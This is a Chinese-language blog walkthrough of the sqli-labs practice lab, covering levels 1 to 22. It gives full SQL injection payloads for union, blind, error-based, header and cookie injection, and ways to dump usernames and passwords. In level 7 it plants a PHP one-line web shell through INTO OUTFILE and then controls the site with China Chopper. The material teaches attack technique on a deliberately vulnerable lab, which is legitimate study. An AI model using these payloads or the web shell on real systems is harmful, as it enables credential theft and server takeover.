sqli_labs注入學習
一、SQL基本語法
1.1show databases;
顯示MySQL資料庫里邊所有的庫:
1.2use [table name];
使用特定的資料庫:
1.3show tables;
列出當前資料庫包含的表:
1.4select * from [table name];
顯示出當前表的所有內容:
1.5總結
查庫:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='[database name]'
查列:select column_name from information_schema.columns where table_name='[table name]'
查欄位:select username,password from [database name].[table name]
1.6其它基礎知識
limit[a,b] | a代表從第行開始,b代表顯示多少行 |
--+、-- 、# | MySQL陳述句中的注釋符,代表后邊的句子不在執行 |
order by | 對指定列進行排序 |
union select | 聯合查詢 |
system_user() | 顯示系統用戶 |
user() | 登錄用戶 |
current_user() | |
database() | 顯示使用資料庫 |
version() | 顯示MySQL的版本資訊 |
@@datadir | 顯示MySQL的安裝路徑 |
@@version_compile_os | 顯示當前的作業系統 |
group_concat() | 將所有的資料拼接進行顯示 |
concat_ws('~',A,B) | 按照"A~B"樣式顯示資料 |
load_file() | 讀取本地檔案 |
into outfile() | 寫檔案 |
if(condition,A,B) | 如果條件condition為真執行A否則執行B |
中國菜刀&一句話木馬:
PHP版本:
<?php @eval($_POST["crow"])?> 其中crow是密碼,
二、闖關
2.1 less-1
(1)準備作業:打開C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-1\index.php
將echo $sql; 和 echo "<br>";輸入到如下圖所示的位置,兩句的功能見圖中注釋,
(2)打開第一關,并使用HackBar工具"Load URL"
(3)執行http://192.168.33.254/sqli-labs-master/Less-1/?id=1'查看是否有注入
加單引號報錯,說明有字符型注入,
(4)執行http://192.168.33.254/sqli-labs-master/Less-1/?id=1' order by 10--+
查看有多少列(報錯就是列數超出,采用二分法逐一排查,最后判定有3列)
(5)執行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
查看哪些資料可以回顯
發現2,3列可以回顯,
(6)執行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
查看當前資料庫
顯示當前資料庫是security,
(7)執行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+
查看特定資料庫,
或者執行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看所有資料庫,
(8)執行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema="security"--+
查看security資料庫里邊的表,
或者執行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
注意:
一般用16進制表示table_schema的值"security",可表示為0x7365637572697479
(9)執行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name="users"--+
查看一個security表里的一個特定的列,
或者執行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
查看所有列資訊,
(10)http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+
查看一個賬號和密碼,
或者執行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+
查看所有的賬號和密碼,
2.2 less-2
將id=1' 改為id= 1 去掉單引號,拿到所有賬號密碼的其他步驟與less-1相同,
2.3 less-3
將id=1 改為id= 1') 去掉單引號,拿到所有賬號密碼的其他步驟與less-1相同,
2.4 less-4
將id=1') 改為id= 1") 去掉單引號,拿到所有賬號密碼的其他步驟與less-1相同,
2.5 less-5
典型的布爾盲注
注入流程如下:
1、執行:逐位猜解資料庫(標紅為變數)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >10--+
2、執行:逐位猜解security資料庫里邊的表資訊,(標紅為變數)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)) >10--+
3、執行:逐位猜解security資料庫users表里邊的列資訊,(標紅為變數)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)) >10--+
4、執行:逐位猜解security資料庫users表里邊的各欄位的值,(標紅為變數)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1)) >10--+
2.6 less-6
與less-5不一樣的地方就是構造陳述句不一樣,
less-5:http://192.168.33.254/sqli-labs-master/Less-5/?id=1'
less-6:http://192.168.33.254/sqli-labs-master/Less-5/?id=1"
2.7 less-7
1、執行:http://192.168.33.254/sqli-labs-master/Less-7/?id=1
2、執行:http://192.168.33.254/sqli-labs-master/Less-7/?id='
3、執行:http://192.168.33.254/sqli-labs-master/Less-7/?id=1'))--+
4、執行:
http://192.168.33.254/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test.php' --+
將PHP一句話木馬寫入less-7目錄下test.php內:
5、使用中國菜刀拿到整個網站的目錄:
(1)打開中國菜刀,空白處右擊→添加:
(2)填寫URL地址和密碼,單擊右下角添加,
(3)雙擊添加成功的專案
(4)看到整個網站目錄
2.8 less-8
方法一:布爾盲注
1、執行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1
2、執行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' 存在注入漏洞
3、執行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' order by 3--+
4、執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and left((select database()),1)='s'--+
或者執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1)) > 16--+
5、執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) > 17--+
根據標紅可變變數進行brupsuite爆破,獲取資料庫的名稱,
6、執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 6,1),1,1))=115--+
驗證第7個資料庫的首字母是"s",
7、獲取security里邊的表資訊
執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>30--+
標紅為可變變數,利用burp suite 進行表爆破,
8、獲取users表里邊的欄位資訊
執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>30--+
標紅為可變變數,利用burp suite 進行欄位爆破,
9、拿到最終的賬戶和密碼
執行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>30--+
標紅為可變變數,利用burp suite 進行用戶名(username)爆破,
同理可以進行密碼(password)的爆破
第二種方法:時間盲注
1、執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5))--+
猜解資料庫的長度,通過回傳時間進行判斷,若此時資料庫長度為8 ,則可以較快回傳,
2、執行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) > 150,1,sleep(3))--+
猜解資料庫的名稱首字母,資料庫第一個字母的ASCII值大于150時,會立刻回傳結果,否則執行3s,
并且使用burp suite進行爆破~~
2.9 less-9
DNSlog(沒講)
1、執行:http://192.168.33.254/sqli-labs-master/Less-9/?id=1' and sleep(4)--+
2:與less-8一樣進行時間盲注,
2.10 less-10
1、執行:http://192.168.33.254/sqli-labs-master/Less-10/?id=1" and sleep(5)--+
發現存在注入漏洞,
2、與less-9相同,
2.11 less-11
1、
2、
3、打開burp suite,瀏覽器開啟代理,
重繪頁面,重新提交,burp suite出現如下界面,復制相應的內容,
4、回到瀏覽器用HackBar繼續進行如下操作,
5、將uname=admin&passwd=admin&submit=Submit
改為uname=admin'&passwd=admin&submit=Submit
然后執行,觀察到如下現象
6、繼續改為uname=' or 1=1 #&passwd=admin&submit=Submit
7、改為:uname=' order by 3 #&passwd=admin&submit=Submit
8、改為uname=' order by 2 #&passwd=admin&submit=Submit 說明存在兩列
9、改為uname=' union select 1,2 #&passwd=admin&submit=Submit
10、接下來的內容就簡單了,,,,,,參照less-1可以完成后續步驟,
2.12 less-12
只是結構發生了改變,步驟與less-11一樣
less-11:uname=' or 1=1 #&passwd=admin&submit=Submit
less-12:uname=") or 1=1 #&passwd=admin&submit=Submit
2.13 less-13
1、手動輸入Username和Password,出現如下頁面,
2、拿到POST內容,
3、將Post data內容改為:uname=ad&passwd=admin&submit=submit
4、將Post data內容改為:uname=ad') or 1=1 #&passwd=admin&submit=submit
5、猜解資料庫的長度
將Post data內容改為:(標紅為變數)
uname=ad') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=submit
6、猜解資料庫首字母
將Post data內容改為:
uname=ad') or left((select schema_name from information_schema.schemata limit 0,1),1) >'a' #&passwd=admin&submit=submit
7、使用burp suite進行輔助測驗
8、設定變數,進行破解,
2.14 less-14
與less-13大致相同,只是less-13用('')包裹,less-14用""包裹,
2.15 less-15
與less-13大致相同,只是less-13用('')包裹,less-15用''包裹,
2.16 less-16
與less-13大致相同,只是less-13用('')包裹,less-16用("")包裹,
2.17 less-17
1、拿到POST資料
2、閱讀源代碼可知,本題對username進行了過濾,但是對password沒有進行過濾,
3、將Post data改為:uname=admin ' #&passwd=admin&submit=Submit,執行
4、嘗試對password進行操作
將Post data改為:uname=admin&passwd=admin ' #&submit=Submit,執行
5、利用updataxml通過報錯資訊得治資料庫、表、列、欄位等資訊
將Post data改為:
uname=admin&passwd=admin ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit
6、通過類似的方法繼續爆破就行了,不多說啦,這個就很簡單了,和之前的爆表啥的都一樣啦,
2.18 less-18
頭注入
1、拿到post data:uname=admin&passwd=admin&submit=Submit并且執行
2、將Post data改為:uname=admin'#&passwd=admin&submit=Submit
3、將Post data改為:uname=admin&passwd=admin'#&submit=Submit
至此,之前熟悉的方法失效,,,
4、使用HTTP頭協議,采用火狐瀏覽器插件HTTP Header Live進行抓包,
5、觀察部分原始碼:發現可利用User Agent進行注入
6、利用火狐瀏覽器插件:Modify Headers進行注入,
尾部閉合的第二種方式:' or updatexml(11,concat(0x7e,(database())),1),'','')#
7、使用MySQL陳述句逐層進行注入:
(1)將User-Agent的Value值改為:
' or updatexml(11,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1),'','')#
(2)將User-Agent的Value值改為:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1)),1),'','')#
(3)將User-Agent的Value值改為:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1),'','')#
(4)將User-Agent的Value值改為:
' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1),'','')#
2.19 less-19
1、與less-18原始碼對比:
通過觀察原始碼:
(1)less-18顯示User-Agent,而less-19顯示Referer;
(2)less-18有三個VALUE值,而less-19只有兩個VALUE值,
所以,
①、注入構造陳述句由less-18的:
' or updatexml(1,concat(0x7e,(database())),1),'','')#
改為less-19的:
' or updatexml(1,concat(0x7e,(database())),1),'')#
②、頭部注入方式由less-18的:
改為less-19的:
2、其它步驟與less-19完全相同
2.20 less-20
1、先試著輸入正確的用戶名和密碼觀察一下結果
2、利用火狐瀏覽器cookie-editor插件進行接下來的步驟:
(1)打開cookie-editor,執行完步驟一,會看到如下界面:
(2)將Value一欄的值由admin改為admin'并且保存后,重繪網頁;
(3)構造注入陳述句如下:
' union select 1,2,3#(將這個填入cookie-editor Value一欄,保存重繪頁面)
(4)猜解資料庫,
(5)猜解security資料庫里邊的表,
(6)猜解security資料庫里users列,
(7)猜解用戶名和密碼,
'union select 1,2,group_concat(concat_ws('~',username,password)) from security.users#
2.21 less-21
1、用一組我們已知的賬戶名(admin)和密碼(admin)進行登陸,
得知與less-20不同的地方就是對cookie進行了BASE64編碼,
2、來到在線解密工具(URL:https://tool.oschina.net/encrypt?type=3),對YWRtaW4=解密,
3、經過測驗得到如下構造陳述句:
') union select 1,2,3#
通過BASE64編碼:JykgdW5pb24gc2VsZWN0IDEsMiwzIw==(將此填入cookies-editor工具,保存,重繪頁面)
4、接下來對資料庫以及表、欄位等的猜解參照less-20,
2.22 less-22
本關只是在構造陳述句上與less-21不一樣,
less-21是:') union select 1,2,3#
less-22是:" union select 1,2,3#
猜解步驟和less-21相同,就不多說了,
至此,sqli-labs基礎部分全部完成,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/43354.html
標籤:其他
